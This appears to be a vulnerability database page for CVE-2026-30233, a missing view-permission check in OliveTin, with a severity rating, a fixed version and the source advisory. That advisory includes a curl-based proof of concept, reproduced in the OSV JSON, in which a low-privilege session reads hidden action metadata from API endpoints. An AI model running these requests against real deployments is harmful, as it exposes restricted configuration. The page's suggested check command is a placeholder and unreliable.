CVE-2026-30233: Github.com/OliveTin/OliveTin OliveTin Doesn't Check View Permission Vulnerability

MODERATE
Advisory Identifier: GHSA-jf73-858c-54pg
CVSS 6.5
CWE-862 CWE-200
Published
Advisory Summary

CVE-2026-30233 is a MODERATE (CVSS 6.5) olivetin doesn't check view permission vulnerability (CWE-862: Missing Authorization) affecting Github.com/OliveTin/OliveTin libraries in the Go ecosystem. The issue involves olivetin doesn't check view permission when returning dashboards. Remediation is available by upgrading affected packages to version 0.0.0-20260305082002-d7962710e7c4.

CVE-2026-30233 at a Glance

CVE Identifier CVE-2026-30233
GHSA Identifier GHSA-jf73-858c-54pg
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-862: Missing Authorization
Affected Product Github.com/OliveTin/OliveTin
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-30233

To remediate this vulnerability, upgrade all affected Github.com/OliveTin/OliveTin dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/OliveTin/OliveTin fixed: 0.0.0-20260305082002-d7962710e7c4
Upgrade github.com/OliveTin/OliveTin to 0.0.0-20260305082002-d7962710e7c4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/OliveTin/OliveTin

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-30233, inspect your project dependencies for Github.com/OliveTin/OliveTin:

inspect dependencies for github.com/OliveTin/OliveTin

Analyze the terminal output to locate any version of Github.com/OliveTin/OliveTin in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260305082002-d7962710e7c4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In Github.com/OliveTin/OliveTin, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An authorization flaw in OliveTin allows authenticated users with view: false permission to enumerate action bindings and metadata via dashboard and API endpoints. Although execution (exec) may be correctly denied, the backend does not enforce IsAllowedView() when constructing dashboard and action binding responses. As a result, restricted users can retrieve action titles, IDs, icons, and argument metadata. ### Details OliveTin defines a view permission in its ACL model (acl.go). However, this permission is not consistently enforced when building dashboard and action metadata responses. Relevant source locations: dashboards.go (around line 120, 132) apiActions.go (around line 122) acl.go (around line 125) api.go (around line 430) Dashboard building logic: ``` for _, binding := range rr.ex.MapActionBindings { if binding.Action.Hidden { continue } action := buildAction(binding, rr) // checks IsAllowedExec only fieldset.Contents = append(fieldset.Contents, ...) } ``` Why vulnerable: IsAllowedView() exists but is not enforced when building dashboard/action metadata. Users with view:false still receive action titles/icons/argument metadata (with canExec:false). ### PoC 1. Configure OliveTin with a restricted user: Create config.yaml: ```yaml authRequireGuestsToLogin: true authLocalUsers: enabled: true users: - username: admin password: "$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4" # password: admin123 permissions: view: true exec: true logs: true - username: low password: "$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4" # password: low123 permissions: view: false # Should hide all actions exec: false logs: false actions: - title: "Secret Action" id: secret_action shell: echo "sensitive operation" icon: "🔒" description: "This action should be completely hidden" arguments: - name: target title: Target type: string default: production ``` 2. Start OliveTin with this configuration 3. Login as low-privilege user and capture session ID: ```bash # Login as low user LOW_SID=$(curl -s -i -X POST http://localhost:1337/api/LocalUserLogin \ -H 'Content-Type: application/json' \ -d '{"username":"low","password":"low123"}' \ | awk -F'[=;]' '/^Set-Cookie: olivetin-sid-local=/{print $2; exit}' | tr -d ' ') echo "Low user SID: $LOW_SID" ``` 4. Verify the web UI respects view:false (optional but illustrative): Open http://localhost:1337 in a browser logged in as low user - the "Secret Action" should NOT appear in the UI. 5. Test 1: GetDashboard endpoint leaks action metadata: ```bash curl -s -X POST http://localhost:1337/api/GetDashboard \ -H 'Content-Type: application/json' \ -H "Cookie: olivetin-sid-local=$LOW_SID" \ -d '{"title":"Actions"}' | jq '.fieldsets[0].contents[] | select(.action.bindingId=="secret_action")' ``` Expected behavior (if fixed): Empty result or no matching action Observed behavior (vulnerable): ```json { "action": { "bindingId": "secret_action", "title": "Secret Action", "icon": "🔒", "description": "This action should be completely hidden", "canExec": false, "arguments": [ { "name": "target", "title": "Target", "type": "string", "default": "production" } ] } } ``` 6. Test 2: GetActionBinding endpoint directly exposes action details: ```bash curl -s -X POST http://localhost:1337/api/GetActionBinding \ -H 'Content-Type: application/json' \ -H "Cookie: olivetin-sid-local=$LOW_SID" \ -d '{"bindingId":"secret_action"}' | jq '.' ``` Expected behavior (if fixed): HTTP 403 Permission Denied Observed behavior (vulnerable): ```json { "action": { "bindingId": "secret_action", "title": "Secret Action", "icon": "🔒", "description": "This action should be completely hidden", "canExec": false, "arguments": [...] } } ```

CVE-2026-30233 Affected Github.com/OliveTin/OliveTin Versions

1 component(s)
Fixed Versions:
0.0.0-20260305082002-d7962710e7c4
Product / Package Ecosystem Affected Versions Fixed Version
github.com/OliveTin/OliveTin
Go
< 0.0.0-20260305082002-d7962710e7c4
0.0.0-20260305082002-d7962710e7c4

References

Frequently Asked Questions

What is CVE-2026-30233?
CVE-2026-30233 is a security vulnerability in Github.com/OliveTin/OliveTin involving OliveTin doesn't check view permission when returning dashboards under CWE-862: Missing Authorization.
Which Github.com/OliveTin/OliveTin versions are affected?
Affected versions include releases prior to 0.0.0-20260305082002-d7962710e7c4 across affected packages: github.com/OliveTin/OliveTin.
What version fixes CVE-2026-30233?
Upgrading to 0.0.0-20260305082002-d7962710e7c4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/OliveTin/OliveTin affected?
Yes, github.com/OliveTin/OliveTin is affected in releases prior to 0.0.0-20260305082002-d7962710e7c4. Upgrade your dependency to 0.0.0-20260305082002-d7962710e7c4 or later.
What is the CVSS score of CVE-2026-30233?
CVE-2026-30233 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-30233?
CVE-2026-30233 is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check Go dependencies for CVE-2026-30233?
Run the dependency tree command: 'inspect dependencies for github.com/OliveTin/OliveTin'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jf73-858c-54pg",
  "modified" : "2026-03-06T22:52:34Z",
  "published" : "2026-03-05T21:24:24Z",
  "aliases" : [ "CVE-2026-30233" ],
  "summary" : "OliveTin doesn't check view permission when returning dashboards",
  "details" : "### Summary\nAn authorization flaw in OliveTin allows authenticated users with view: false permission to enumerate action bindings and metadata via dashboard and API endpoints.\n\nAlthough execution (exec) may be correctly denied, the backend does not enforce IsAllowedView() when constructing dashboard and action binding responses. As a result, restricted users can retrieve action titles, IDs, icons, and argument metadata.\n\n### Details\nOliveTin defines a view permission in its ACL model (acl.go). However, this permission is not consistently enforced when building dashboard and action metadata responses.\n\nRelevant source locations:\n\ndashboards.go (around line 120, 132)\napiActions.go (around line 122)\nacl.go (around line 125)\napi.go (around line 430)\n\nDashboard building logic:\n```\nfor _, binding := range rr.ex.MapActionBindings {\n    if binding.Action.Hidden { continue }\n    action := buildAction(binding, rr) // checks IsAllowedExec only\n    fieldset.Contents = append(fieldset.Contents, ...)\n}\n```\nWhy vulnerable: IsAllowedView() exists but is not enforced when building dashboard/action metadata. Users with view:false still receive action titles/icons/argument metadata (with canExec:false).\n\n### PoC\n\n\n\n\n1. Configure OliveTin with a restricted user:\n\nCreate config.yaml:\n\n```yaml\nauthRequireGuestsToLogin: true\n\nauthLocalUsers:\n  enabled: true\n  users:\n    - username: admin\n      password: \"$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4\"  # password: admin123\n      permissions:\n        view: true\n        exec: true\n        logs: true\n    \n    - username: low\n      password: \"$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4\"  # password: low123\n      permissions:\n        view: false   # Should hide all actions\n        exec: false\n        logs: false\n\nactions:\n  - title: \"Secret Action\"\n    id: secret_action\n    shell: echo \"sensitive operation\"\n    icon: \"🔒\"\n    description: \"This action should be completely hidden\"\n    arguments:\n      - name: target\n        title: Target\n        type: string\n        default: production\n```\n2. Start OliveTin with this configuration\n\n3. Login as low-privilege user and capture session ID:\n\n```bash\n# Login as low user\nLOW_SID=$(curl -s -i -X POST http://localhost:1337/api/LocalUserLogin \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"low\",\"password\":\"low123\"}' \\\n  | awk -F'[=;]' '/^Set-Cookie: olivetin-sid-local=/{print $2; exit}' | tr -d ' ')\n\necho \"Low user SID: $LOW_SID\"\n```\n4. Verify the web UI respects view:false (optional but illustrative):\n\nOpen http://localhost:1337 in a browser logged in as low user - the \"Secret Action\" should NOT appear in the UI.\n\n5. Test 1: GetDashboard endpoint leaks action metadata:\n\n```bash\ncurl -s -X POST http://localhost:1337/api/GetDashboard \\\n  -H 'Content-Type: application/json' \\\n  -H \"Cookie: olivetin-sid-local=$LOW_SID\" \\\n  -d '{\"title\":\"Actions\"}' | jq '.fieldsets[0].contents[] | select(.action.bindingId==\"secret_action\")'\n```\nExpected behavior (if fixed): Empty result or no matching action\nObserved behavior (vulnerable):\n\n```json\n{\n  \"action\": {\n    \"bindingId\": \"secret_action\",\n    \"title\": \"Secret Action\",\n    \"icon\": \"🔒\",\n    \"description\": \"This action should be completely hidden\",\n    \"canExec\": false,\n    \"arguments\": [\n      {\n        \"name\": \"target\",\n        \"title\": \"Target\",\n        \"type\": \"string\",\n        \"default\": \"production\"\n      }\n    ]\n  }\n}\n```\n6. Test 2: GetActionBinding endpoint directly exposes action details:\n\n```bash\ncurl -s -X POST http://localhost:1337/api/GetActionBinding \\\n  -H 'Content-Type: application/json' \\\n  -H \"Cookie: olivetin-sid-local=$LOW_SID\" \\\n  -d '{\"bindingId\":\"secret_action\"}' | jq '.'\n```\nExpected behavior (if fixed): HTTP 403 Permission Denied\nObserved behavior (vulnerable):\n\n```json\n{\n  \"action\": {\n    \"bindingId\": \"secret_action\",\n    \"title\": \"Secret Action\",\n    \"icon\": \"🔒\",\n    \"description\": \"This action should be completely hidden\",\n    \"canExec\": false,\n    \"arguments\": [...]\n  }\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/OliveTin/OliveTin"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260305082002-d7962710e7c4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-jf73-858c-54pg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-30233"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OliveTin/OliveTin/commit/d7962710e7c46f6bdda4188b5b0cdbde4be665a0"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/OliveTin/OliveTin"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-862" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-05T21:24:24Z",
    "nvd_published_at" : "2026-03-06T21:16:17Z"
  }
}